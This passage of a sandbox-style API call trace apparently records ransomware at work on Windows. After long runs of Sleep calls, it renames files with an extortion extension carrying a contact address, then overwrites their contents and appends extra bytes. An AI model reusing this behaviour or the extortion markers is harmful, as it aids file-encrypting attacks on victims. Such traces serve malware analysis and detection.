[0073.977] Sleep (dwMilliseconds=0x1) [0074.057] Sleep (dwMilliseconds=0x1) [0074.181] Sleep (dwMilliseconds=0x1) [0074.380] Sleep (dwMilliseconds=0x1) [0074.671] Sleep (dwMilliseconds=0x1) [0074.771] Sleep (dwMilliseconds=0x1) [0074.849] Sleep (dwMilliseconds=0x1) [0074.907] Sleep (dwMilliseconds=0x1) [0074.998] Sleep (dwMilliseconds=0x1) [0075.063] Sleep (dwMilliseconds=0x1) [0075.103] Sleep (dwMilliseconds=0x1) [0075.160] Sleep (dwMilliseconds=0x1) [0075.220] Sleep (dwMilliseconds=0x1) [0075.260] Sleep (dwMilliseconds=0x1) [0075.308] Sleep (dwMilliseconds=0x1) [0075.358] Sleep (dwMilliseconds=0x1) [0075.424] Sleep (dwMilliseconds=0x1) [0075.516] Sleep (dwMilliseconds=0x1) [0075.565] Sleep (dwMilliseconds=0x1) [0075.608] Sleep (dwMilliseconds=0x1) [0075.694] Sleep (dwMilliseconds=0x1) [0075.746] Sleep (dwMilliseconds=0x1) [0075.790] Sleep (dwMilliseconds=0x1) [0075.833] Sleep (dwMilliseconds=0x1) [0076.047] Sleep (dwMilliseconds=0x1) [0076.060] Sleep (dwMilliseconds=0x1) [0076.085] Sleep (dwMilliseconds=0x1) [0076.105] Sleep (dwMilliseconds=0x1) [0076.188] Sleep (dwMilliseconds=0x1) [0076.389] Sleep (dwMilliseconds=0x1) [0076.532] Sleep (dwMilliseconds=0x1) [0076.669] Sleep (dwMilliseconds=0x1) [0076.772] Sleep (dwMilliseconds=0x1) [0076.807] Sleep (dwMilliseconds=0x1) [0076.844] Sleep (dwMilliseconds=0x1) [0076.870] Sleep (dwMilliseconds=0x1) [0076.922] Sleep (dwMilliseconds=0x1) [0076.983] Sleep (dwMilliseconds=0x1) [0077.070] Sleep (dwMilliseconds=0x1) [0077.153] Sleep (dwMilliseconds=0x1) [0077.224] Sleep (dwMilliseconds=0x1) [0077.286] Sleep (dwMilliseconds=0x1) [0077.362] Sleep (dwMilliseconds=0x1) [0077.410] Sleep (dwMilliseconds=0x1) [0077.522] Sleep (dwMilliseconds=0x1) [0077.595] Sleep (dwMilliseconds=0x1) [0077.651] Sleep (dwMilliseconds=0x1) [0077.687] Sleep (dwMilliseconds=0x1) [0077.740] Sleep (dwMilliseconds=0x1) [0077.780] Sleep (dwMilliseconds=0x1) [0077.835] Sleep (dwMilliseconds=0x1) [0077.854] Sleep (dwMilliseconds=0x1) [0077.907] Sleep (dwMilliseconds=0x1) [0077.963] Sleep (dwMilliseconds=0x1) [0077.977] Sleep (dwMilliseconds=0x1) [0078.000] Sleep (dwMilliseconds=0x1) [0078.086] Sleep (dwMilliseconds=0x1) [0078.116] Sleep (dwMilliseconds=0x1) [0078.135] Sleep (dwMilliseconds=0x1) [0078.192] Sleep (dwMilliseconds=0x1) [0078.224] Sleep (dwMilliseconds=0x1) [0078.237] Sleep (dwMilliseconds=0x1) [0078.254] Sleep (dwMilliseconds=0x1) [0078.271] Sleep (dwMilliseconds=0x1) [0078.287] Sleep (dwMilliseconds=0x1) [0078.313] Sleep (dwMilliseconds=0x1) [0078.361] Sleep (dwMilliseconds=0x1) [0078.378] Sleep (dwMilliseconds=0x1) [0078.514] Sleep (dwMilliseconds=0x1) [0078.535] Sleep (dwMilliseconds=0x1) [0078.558] Sleep (dwMilliseconds=0x1) [0078.572] Sleep (dwMilliseconds=0x1) [0078.608] Sleep (dwMilliseconds=0x1) [0078.629] Sleep (dwMilliseconds=0x1) [0078.643] Sleep (dwMilliseconds=0x1) [0078.661] Sleep (dwMilliseconds=0x1) [0078.674] Sleep (dwMilliseconds=0x1) [0078.707] Sleep (dwMilliseconds=0x1) [0078.722] Sleep (dwMilliseconds=0x1) [0078.737] Sleep (dwMilliseconds=0x1) [0078.755] Sleep (dwMilliseconds=0x1) [0078.769] Sleep (dwMilliseconds=0x1) [0078.787] Sleep (dwMilliseconds=0x1) [0078.836] Sleep (dwMilliseconds=0x1) [0078.887] Sleep (dwMilliseconds=0x1) [0078.931] Sleep (dwMilliseconds=0x1) [0078.941] Sleep (dwMilliseconds=0x1) [0078.963] Sleep (dwMilliseconds=0x1) [0078.974] Sleep (dwMilliseconds=0x1) [0079.007] Sleep (dwMilliseconds=0x1) [0079.027] Sleep (dwMilliseconds=0x1) [0079.035] Sleep (dwMilliseconds=0x1) [0079.047] Sleep (dwMilliseconds=0x1) [0079.085] Sleep (dwMilliseconds=0x1) [0079.096] Sleep (dwMilliseconds=0x1) [0079.119] Sleep (dwMilliseconds=0x1) [0079.127] Sleep (dwMilliseconds=0x1) [0079.162] Sleep (dwMilliseconds=0x1) [0079.222] Sleep (dwMilliseconds=0x1) [0079.253] Sleep (dwMilliseconds=0x1) [0079.267] Sleep (dwMilliseconds=0x1) [0079.289] Sleep (dwMilliseconds=0x1) [0079.298] Sleep (dwMilliseconds=0x1) [0079.318] Sleep (dwMilliseconds=0x1) [0079.328] Sleep (dwMilliseconds=0x1) [0079.350] Sleep (dwMilliseconds=0x1) [0079.359] Sleep (dwMilliseconds=0x1) [0079.390] Sleep (dwMilliseconds=0x1) [0079.416] Sleep (dwMilliseconds=0x1) [0079.423] Sleep (dwMilliseconds=0x1) [0079.447] Sleep (dwMilliseconds=0x1) [0079.517] Sleep (dwMilliseconds=0x1) [0079.542] Sleep (dwMilliseconds=0x1) [0079.546] Sleep (dwMilliseconds=0x1) [0079.600] Sleep (dwMilliseconds=0x1) [0079.611] Sleep (dwMilliseconds=0x1) [0079.629] Sleep (dwMilliseconds=0x1) [0079.642] Sleep (dwMilliseconds=0x1) [0079.660] Sleep (dwMilliseconds=0x1) [0079.676] Sleep (dwMilliseconds=0x1) [0079.695] Sleep (dwMilliseconds=0x1) [0079.729] Sleep (dwMilliseconds=0x1) [0079.745] Sleep (dwMilliseconds=0x1) [0079.800] Sleep (dwMilliseconds=0x1) [0079.816] Sleep (dwMilliseconds=0x1) [0079.830] Sleep (dwMilliseconds=0x1) [0079.891] Sleep (dwMilliseconds=0x1) [0079.915] Sleep (dwMilliseconds=0x1) [0079.933] Sleep (dwMilliseconds=0x1) [0079.938] Sleep (dwMilliseconds=0x1) [0079.987] Sleep (dwMilliseconds=0x1) [0080.047] Sleep (dwMilliseconds=0x1) [0080.071] Sleep (dwMilliseconds=0x1) [0080.084] Sleep (dwMilliseconds=0x1) [0080.100] Sleep (dwMilliseconds=0x1) [0080.136] Sleep (dwMilliseconds=0x1) [0080.161] Sleep (dwMilliseconds=0x1) [0080.173] Sleep (dwMilliseconds=0x1) [0080.238] Sleep (dwMilliseconds=0x1) [0080.260] Sleep (dwMilliseconds=0x1) [0080.269] Sleep (dwMilliseconds=0x1) [0080.285] Sleep (dwMilliseconds=0x1) [0080.301] Sleep (dwMilliseconds=0x1) [0080.316] Sleep (dwMilliseconds=0x1) [0080.343] Sleep (dwMilliseconds=0x1) [0080.361] Sleep (dwMilliseconds=0x1) [0080.384] Sleep (dwMilliseconds=0x1) [0080.392] Sleep (dwMilliseconds=0x1) [0080.410] Sleep (dwMilliseconds=0x1) [0080.426] Sleep (dwMilliseconds=0x1) [0080.442] Sleep (dwMilliseconds=0x1) [0080.502] Sleep (dwMilliseconds=0x1) [0080.527] Sleep (dwMilliseconds=0x1) [0080.543] Sleep (dwMilliseconds=0x1) [0080.567] Sleep (dwMilliseconds=0x1) [0080.582] Sleep (dwMilliseconds=0x1) [0080.606] Sleep (dwMilliseconds=0x1) [0080.661] Sleep (dwMilliseconds=0x1) [0080.672] Sleep (dwMilliseconds=0x1) [0080.704] Sleep (dwMilliseconds=0x1) [0080.722] Sleep (dwMilliseconds=0x1) [0080.766] Sleep (dwMilliseconds=0x1) [0080.787] Sleep (dwMilliseconds=0x1) [0080.805] Sleep (dwMilliseconds=0x1) [0080.819] Sleep (dwMilliseconds=0x1) [0080.837] Sleep (dwMilliseconds=0x1) [0080.846] Sleep (dwMilliseconds=0x1) [0080.889] Sleep (dwMilliseconds=0x1) [0080.917] Sleep (dwMilliseconds=0x1) [0080.923] Sleep (dwMilliseconds=0x1) [0080.941] Sleep (dwMilliseconds=0x1) [0080.957] Sleep (dwMilliseconds=0x1) [0080.977] Sleep (dwMilliseconds=0x1) [0080.990] Sleep (dwMilliseconds=0x1) [0081.004] Sleep (dwMilliseconds=0x1) [0081.018] Sleep (dwMilliseconds=0x1) [0081.037] Sleep (dwMilliseconds=0x1) [0081.049] Sleep (dwMilliseconds=0x1) [0081.286] Sleep (dwMilliseconds=0x1) [0081.439] Sleep (dwMilliseconds=0x1) [0081.525] Sleep (dwMilliseconds=0x1) [0081.543] Sleep (dwMilliseconds=0x1) [0081.565] Sleep (dwMilliseconds=0x1) [0081.581] Sleep (dwMilliseconds=0x1) [0081.600] Sleep (dwMilliseconds=0x1) [0081.613] Sleep (dwMilliseconds=0x1) [0081.629] Sleep (dwMilliseconds=0x1) [0081.664] Sleep (dwMilliseconds=0x1) [0081.683] Sleep (dwMilliseconds=0x1) [0081.692] Sleep (dwMilliseconds=0x1) [0081.709] Sleep (dwMilliseconds=0x1) [0081.757] Sleep (dwMilliseconds=0x1) [0081.776] Sleep (dwMilliseconds=0x1) [0081.789] Sleep (dwMilliseconds=0x1) [0081.833] Sleep (dwMilliseconds=0x1) [0081.849] Sleep (dwMilliseconds=0x1) [0081.886] Sleep (dwMilliseconds=0x1) [0081.893] Sleep (dwMilliseconds=0x1) [0081.910] Sleep (dwMilliseconds=0x1) [0081.926] Sleep (dwMilliseconds=0x1) [0081.942] Sleep (dwMilliseconds=0x1) [0081.967] Sleep (dwMilliseconds=0x1) [0081.987] Sleep (dwMilliseconds=0x1) [0082.002] Sleep (dwMilliseconds=0x1) [0082.036] Sleep (dwMilliseconds=0x1) [0082.050] Sleep (dwMilliseconds=0x1) [0082.069] Sleep (dwMilliseconds=0x1) [0082.112] Sleep (dwMilliseconds=0x1) [0082.133] Sleep (dwMilliseconds=0x1) [0082.151] Sleep (dwMilliseconds=0x1) [0082.159] Sleep (dwMilliseconds=0x1) [0082.193] Sleep (dwMilliseconds=0x1) [0082.215] Sleep (dwMilliseconds=0x1) [0082.231] Sleep (dwMilliseconds=0x1) [0082.260] Sleep (dwMilliseconds=0x1) [0082.276] Sleep (dwMilliseconds=0x1) [0082.295] Sleep (dwMilliseconds=0x1) [0082.308] Sleep (dwMilliseconds=0x1) [0082.371] Sleep (dwMilliseconds=0x1) [0082.417] Sleep (dwMilliseconds=0x1) [0082.541] Sleep (dwMilliseconds=0x1) [0082.587] Sleep (dwMilliseconds=0x1) [0082.637] Sleep (dwMilliseconds=0x1) [0082.682] Sleep (dwMilliseconds=0x1) [0082.729] Sleep (dwMilliseconds=0x1) [0082.775] Sleep (dwMilliseconds=0x1) [0082.822] Sleep (dwMilliseconds=0x1) [0082.869] Sleep (dwMilliseconds=0x1) [0082.917] Sleep (dwMilliseconds=0x1) [0082.967] Sleep (dwMilliseconds=0x1) [0083.016] Sleep (dwMilliseconds=0x1) [0083.054] Sleep (dwMilliseconds=0x1) [0083.104] Sleep (dwMilliseconds=0x1) [0083.150] Sleep (dwMilliseconds=0x1) [0083.201] Sleep (dwMilliseconds=0x1) [0083.241] Sleep (dwMilliseconds=0x1) [0083.294] Sleep (dwMilliseconds=0x1) [0083.336] Sleep (dwMilliseconds=0x1) [0083.386] Sleep (dwMilliseconds=0x1) [0083.435] Sleep (dwMilliseconds=0x1) [0083.704] Sleep (dwMilliseconds=0x1) [0083.750] Sleep (dwMilliseconds=0x1) [0083.803] Sleep (dwMilliseconds=0x1) [0083.912] Sleep (dwMilliseconds=0x1) [0084.013] Sleep (dwMilliseconds=0x1) [0084.092] Sleep (dwMilliseconds=0x1) [0084.203] Sleep (dwMilliseconds=0x1) [0084.342] Sleep (dwMilliseconds=0x1) [0084.739] Sleep (dwMilliseconds=0x1) [0084.810] Sleep (dwMilliseconds=0x1) [0084.878] Sleep (dwMilliseconds=0x1) [0084.960] Sleep (dwMilliseconds=0x1) [0085.046] Sleep (dwMilliseconds=0x1) [0085.125] Sleep (dwMilliseconds=0x1) [0085.177] Sleep (dwMilliseconds=0x1) [0085.346] Sleep (dwMilliseconds=0x1) [0085.390] Sleep (dwMilliseconds=0x1) [0085.735] Sleep (dwMilliseconds=0x1) [0085.832] Sleep (dwMilliseconds=0x1) [0085.963] Sleep (dwMilliseconds=0x1) [0086.077] Sleep (dwMilliseconds=0x1) [0086.192] Sleep (dwMilliseconds=0x1) [0086.231] Sleep (dwMilliseconds=0x1) [0086.299] Sleep (dwMilliseconds=0x1) [0086.346] Sleep (dwMilliseconds=0x1) [0086.593] Sleep (dwMilliseconds=0x1) [0086.890] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log", len=0x34 | out: pbstr=0x4abff7c*="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 1 [0086.890] GetProcessHeap () returned 0x630000 [0086.890] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1268, Size=0xc) returned 0x6b1388 [0086.890] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0087.043] CloseHandle (hObject=0x620) returned 1 [0087.044] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0087.044] MoveFileW (lpExistingFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), lpNewFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0087.044] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0087.044] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfc6c | out: lpFindFileData=0x4abfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973abb0f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1774, dwReserved0=0x11001405, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OOBE_2~1.FIR")) returned 0x6d51c0 [0087.044] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0087.045] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0087.045] GetProcessHeap () returned 0x630000 [0087.045] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1781) returned 0x70d508 [0087.045] GetProcessHeap () returned 0x630000 [0087.045] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1781) returned 0x6e9718 [0087.045] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.045] ReadFile (in: hFile=0x620, lpBuffer=0x70d508, nNumberOfBytesToRead=0x1760, lpNumberOfBytesRead=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x70d508*, lpNumberOfBytesRead=0x4abff0c*=0x1760, lpOverlapped=0x0) returned 1 [0087.070] GetProcessHeap () returned 0x630000 [0087.070] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8960 [0087.070] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.070] WriteFile (in: hFile=0x620, lpBuffer=0x6e9718*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e9718*, lpNumberOfBytesWritten=0x4abff0c*=0x1760, lpOverlapped=0x0) returned 1 [0087.070] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.070] WriteFile (in: hFile=0x620, lpBuffer=0x6eae77*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6eae77*, lpNumberOfBytesWritten=0x4abff0c*=0x20, lpOverlapped=0x0) returned 1 [0087.070] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.071] WriteFile (in: hFile=0x620, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4abff0c*=0x4, lpOverlapped=0x0) returned 1 [0087.071] CloseHandle (hObject=0x620) returned 1 [0087.072] GetProcessHeap () returned 0x630000 [0087.072] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e9718 | out: hHeap=0x630000) returned 1 [0087.072] GetProcessHeap () returned 0x630000 [0087.072] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70d508 | out: hHeap=0x630000) returned 1 [0087.072] GetProcessHeap () returned 0x630000 [0087.072] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8960 | out: hHeap=0x630000) returned 1 [0087.072] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0087.072] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfcc4 | out: lpFindFileData=0x4abfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973abb0f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xf9d7deca, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x1798, dwReserved0=0xb847496, dwReserved1=0x70d500, cFileName="oobe_2017_09_07_03_08_57_737.log.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OOBE_2~1.FIR")) returned 0x6d5080 [0087.072] FindClose (in: hFindFile=0x6d5080 | out: hFindFile=0x6d5080) returned 1 [0087.072] Sleep (dwMilliseconds=0x1) [0087.265] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\588bce7c90097ed212\\1030\\eula.rtf", len=0x23 | out: pbstr=0x4abff7c*="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 1 [0087.265] GetProcessHeap () returned 0x630000 [0087.265] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699a98, Size=0x20) returned 0x6e92b0 [0087.265] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x670 [0087.291] CloseHandle (hObject=0x670) returned 1 [0087.291] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0087.292] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0087.292] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0087.292] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfc6c | out: lpFindFileData=0x4abfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xcf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EULART~1.FIR")) returned 0x6d5340 [0087.292] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0087.293] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x670 [0087.293] GetProcessHeap () returned 0x630000 [0087.293] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd01) returned 0x725d78 [0087.293] GetProcessHeap () returned 0x630000 [0087.293] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd01) returned 0x726a88 [0087.293] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.293] ReadFile (in: hFile=0x670, lpBuffer=0x725d78, nNumberOfBytesToRead=0xce0, lpNumberOfBytesRead=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x725d78*, lpNumberOfBytesRead=0x4abff0c*=0xce0, lpOverlapped=0x0) returned 1 [0087.309] GetProcessHeap () returned 0x630000 [0087.309] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8a78 [0087.309] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.309] WriteFile (in: hFile=0x670, lpBuffer=0x726a88*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x726a88*, lpNumberOfBytesWritten=0x4abff0c*=0xce0, lpOverlapped=0x0) returned 1 [0087.309] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.309] WriteFile (in: hFile=0x670, lpBuffer=0x727767*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x727767*, lpNumberOfBytesWritten=0x4abff0c*=0x20, lpOverlapped=0x0) returned 1 [0087.309] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.309] WriteFile (in: hFile=0x670, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4abff0c*=0x4, lpOverlapped=0x0) returned 1 [0087.309] CloseHandle (hObject=0x670) returned 1 [0087.310] GetProcessHeap () returned 0x630000 [0087.310] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x726a88 | out: hHeap=0x630000) returned 1 [0087.311] GetProcessHeap () returned 0x630000 [0087.311] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x725d78 | out: hHeap=0x630000) returned 1 [0087.311] GetProcessHeap () returned 0x630000 [0087.311] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8a78 | out: hHeap=0x630000) returned 1 [0087.311] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0087.311] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfcc4 | out: lpFindFileData=0x4abfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0xf9fdcb6e, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0xd16, dwReserved0=0xb847496, dwReserved1=0x725d70, cFileName="eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EULART~1.FIR")) returned 0x6d53c0 [0087.311] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0087.312] Sleep (dwMilliseconds=0x1) [0087.322] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml", len=0x2c | out: pbstr=0x4abff7c*="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 1 [0087.322] GetProcessHeap () returned 0x630000 [0087.322] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1388, Size=0xc) returned 0x6b1340 [0087.322] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x670 [0087.339] CloseHandle (hObject=0x670) returned 1 [0087.339] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0087.340] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0087.340] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0087.340] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfc6c | out: lpFindFileData=0x4abfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, 